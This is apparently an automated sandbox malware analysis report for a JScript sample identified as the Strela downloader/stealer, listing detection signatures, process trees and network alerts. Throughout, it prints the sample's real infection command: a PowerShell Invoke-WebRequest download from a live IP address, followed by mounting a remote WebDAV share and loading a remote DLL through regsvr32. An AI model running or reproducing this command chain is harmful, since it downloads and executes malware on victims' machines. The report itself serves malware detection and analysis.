Edit tour

Windows Analysis Report
9751253252198928098.js

Overview

General Information

Sample name:	9751253252198928098.js
Analysis ID:	1587779
MD5:	7e0dd409a3eaceb5c1aad5c2eb0e38ce
SHA1:	c9a0a53e8bd0b0fedb3c37cbf1bcd103150302bf
SHA256:	32bf967275e89ceaafa69156658a350719496f538a82e40d614d7a94a9deca82
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6192 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6452 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6624 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6696 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1780,i,13744911955048953528,6005344510922911637,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5956 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5760 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6356 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6192	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6624, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6624, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ProcessId: 6192, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5760, Protocol: tcp, SourceIp: 192.168.2.12, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ProcessId: 6192, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6624, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5760, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6356, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5956, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5760, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll, ProcessId: 6452, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:54:24.499102+0100	1810005	1	Potentially Bad Traffic	192.168.2.12	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:54:21.699553+0100	1810000	2	Potentially Bad Traffic	192.168.2.12	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 9751253252198928098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 9751253252198928098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.12:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:54:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.12:49712 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.12:49711 -> 193.143.1.205:80

Source: global traffic

